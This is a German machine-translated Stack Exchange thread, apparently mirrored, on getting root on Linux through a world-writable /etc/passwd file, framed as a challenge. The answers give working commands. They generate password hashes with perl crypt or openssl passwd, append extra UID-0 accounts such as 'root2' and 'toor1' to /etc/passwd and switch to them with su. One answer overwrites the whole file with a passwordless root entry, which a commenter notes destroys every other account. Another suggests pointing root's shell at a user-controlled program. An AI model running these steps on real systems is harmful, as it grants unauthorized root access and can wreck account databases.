Frage:
Eskalation von Berechtigungen mithilfe der passwd-Datei
Airbourne
2017-02-19 16:46:32 UTC
view on stackexchange narkive permalink

Wie kann ich meine Berechtigungen auf root erweitern, wenn ich eine weltweit beschreibbare Datei / etc / passwd auf einem System habe? Ich bin derzeit ein unterprivilegierter Benutzer. Das zugrunde liegende Betriebssystem ist CentOS 7.2, falls Sie sich fragen:

Ich weiß, dass die passwd-Datei normalerweise nicht weltweit beschreibbar ist. Ich mache eine Herausforderung mit dem aktuellen Szenario.

Alle Schritte zu Ausbeutung wird sehr hilfreich sein

Ich empfehle, dass Sie sich genauer ansehen, was die Spalten in der passwd-Datei bedeuten, d. H. Ob es einen Unterschied zwischen Root- und nicht privilegierten Benutzern gibt und was dieser Unterschied bedeutet.
Vier antworten:
Gilles 'SO- stop being evil'
2017-02-19 18:27:48 UTC
view on stackexchange narkive permalink

Passwörter werden normalerweise in / etc / shadow gespeichert, das von Benutzern nicht gelesen werden kann. In der Vergangenheit wurden sie jedoch zusammen mit allen Kontoinformationen in der weltweit lesbaren Datei / etc / passwd gespeichert. Wenn aus Gründen der Abwärtskompatibilität in der zweiten Spalte in / etc / passwd ein Kennwort-Hash vorhanden ist, hat dieser Vorrang vor dem in / etc / shadow .

In der Vergangenheit bedeutet ein leeres zweites Feld in / etc / passwd , dass das Konto kein Kennwort hat, dh jeder kann sich ohne Kennwort anmelden (wird für Gastkonten verwendet). Dies ist manchmal deaktiviert. Wenn kennwortlose Konten deaktiviert sind, können Sie den Hash eines Kennworts Ihrer Wahl eingeben. Sie können die Funktion crypt verwenden, um Kennwort-Hashes zu generieren, z. B. perl -le 'print crypt ("foo", "aa")' Festlegen des Kennworts auf foo .

Es ist möglich, Root-Zugriff zu erhalten, auch wenn Sie nur an / etc / passwd anhängen und den Inhalt nicht überschreiben können . Dies liegt daran, dass es möglich ist, mehrere Einträge für denselben Benutzer zu haben, solange sie unterschiedliche Namen haben. Benutzer werden anhand ihrer ID und nicht anhand ihres Namens identifiziert, und das bestimmende Merkmal des Stammkontos ist nicht sein Name, sondern die Tatsache, dass dies der Fall ist hat die Benutzer-ID 0. Sie können also ein alternatives Root-Konto erstellen, indem Sie eine Zeile anhängen, in der ein Konto mit einem anderen Namen, einem Kennwort Ihrer Wahl und der Benutzer-ID 0 deklariert wird.

Hallo @Gilles,, wissen Sie, ob der gleiche Hashing-Algorithmus zum Speichern von Passwort-Hashes in / etc / passwd und / etc / shadow verwendet wird?Nach meinem Verständnis wird Krypta für / etc / shadow verwendet, während ein anderer Algorithmus für / etc / passwd verwendet wird.
@Shuzheng Es gibt keinen Unterschied zwischen "/ etc / passwd" und "/ etc / shaddow".Beide verwenden die Funktion `crypt`.Die "Krypta" -Funktion unterstützt mehrere Algorithmen, die sie basierend auf dem Salz auswählt, das Sie an sie übergeben.
Wenn die Kryptofunktion mehrere Algorithmen unterstützt, woher weiß ein Kennwortprüfer, welcher Algorithmus zur Berechnung des Hashs verwendet wurde?Auch wenn die Krypta-Funktion erweitert werden sollte, würde es Dinge brechen?
@Shuzheng Der Hash beginnt mit einigen Zeichen, die den Algorithmus angeben.Überprüfen Sie die Manpage "crypt (3)", z.[unter Linux] (http://man7.org/linux/man-pages/man3/crypt.3.html).
Yılmaz Değirmenci
2017-09-29 00:44:49 UTC
view on stackexchange narkive permalink

Geben Sie einfach Folgendes ein:

  echo root :: 0: 0: root: / root: / bin / bash > / etc / passwdsu  

und Sie sind root.

(Wenn Sie x entfernen, ist für root kein Kennwort mehr erforderlich. Sie können den Befehl sed anstelle von echo verwenden Dies reicht jedoch aus, um die Root-Shell zu erhalten.

Dies stellt einen sofortigen DoS-Angriff auf den betreffenden Server dar, da die gesamte Benutzerdatenbank überschrieben wird, sodass nicht mehr alle Konten außer Ihrem neuen Stammverzeichnis vorhanden sind.Sie möchten wahrscheinlich ">> / etc / passwd" anstelle von "> / etc / passwd" verwenden.Außerdem wird jeder Unix-Administrator, der diesen Titel verdient, niemals zulassen, dass die Welt in die Datei / etc / passwd schreibt.
Nur ein Update mit Bestätigung von der praktischen Seite. Maschinentestet: Ubuntu 16.04.3, Kernel 4.13.0-36> $ echo "toor :: 0: 0: toor: / root: / bin / bash" >> / etc / passwd Dies funktioniert unter Linux nicht mehr.Ein leeres Passwort führt zu "Authentifizierungsfehler".> $ perl -le 'Krypta drucken ("foo", "aa")'
> aaKNIEDOaueR6
> $ echo "toor1: aaKNIEDOaueR6: 0: 0: toor: / root: / bin / bash" >> / etc / passwd Dies funktioniert.Die Anmeldeinformationen "toor1 / foo" werden akzeptiert und bieten eine Root-Shell (in echtem Pentest würde ich jedoch einen komplexeren Pass verwenden, falls das System über eine Kennwortrichtlinie verfügt).
@MikeMcManus Der Server beabsichtigt nicht unbedingt, es beschreibbar zu machen.Kurz nachdem "dirtycow" veröffentlicht wurde, habe ich es verwendet, um Root auf einem System zu bekommen, indem ich die Datei "/ etc / passwd" überschrieben habe (nachdem ich sie versehentlich beschädigt und fast das gesamte System heruntergefahren hatte ...).
mr guest
2019-01-28 02:32:51 UTC
view on stackexchange narkive permalink

Sie können diese zerstörungsfreie Methode verwenden:

  #, um einen Hash des Passworts zu generieren passwd mrcakehKLD3431415ZE #, um einen zweiten Root-Benutzer mit "mrcake" passwordecho "root2: WVLY0mgH0RtUI: 0: 0: root: / root: / bin / bash ">> / etc / passwd #, um zu root2su zu wechseln root2Password: mrcake  
Ihre Antwort ist etwas falsch, da Ihr generierter Hash nicht mit dem für "root" eingefügten übereinstimmt.Ich denke, Sie haben versehentlich bemerkt, dass Sie den Benutzernamen als Passwortsalz angeben müssen.
@Shuzheng mr guest ist nicht falsch. Wenn Sie den von ihm vorgeschlagenen Befehl openssl passwd mrcake ohne Benutzernamen oder Salt ausführen, erhalten Sie jedes Mal einen anderen Hash.Wenn Sie Ihren generierten Hash aus diesem Befehl ohne Benutzernamen oder Salt nehmen und im Befehl ersetzen, um den neuen Benutzer zur passwd-Datei hinzuzufügen, geben Sie "root2: WVLY0mgH0RtUI: 0: 0: root: / root: / bin / bash" ein">> / etc / passwd dann versuchen, diesen Benutzer mit dem Passwort zu su, das verwendet wird, um den von Ihnen verwendeten Hash zu generieren, es funktioniert.
@JohnLally - Wie könnte Linux das Passwort überprüfen, wenn jedes Mal ein anderer Hash generiert wird?
Giacomo Catenazzi
2020-07-01 20:55:21 UTC
view on stackexchange narkive permalink

Sie können die Root-Shell zu einem Programm in Ihrem Zuhause umleiten. Ein solches Programm wird als root ausgeführt, und in einem solchen Programm können Sie Berechtigungen erhalten (z. B. durch Festlegen von setuid) oder einfach das tun, was Sie möchten. Wenn man bedenkt, dass verschiedene Prozesse Root-Shells ausführen, erhalten Sie schnell root.



Diese Fragen und Antworten wurden automatisch aus der englischen Sprache übersetzt.Der ursprüngliche Inhalt ist auf stackexchange verfügbar. Wir danken ihm für die cc by-sa 3.0-Lizenz, unter der er vertrieben wird.
Loading...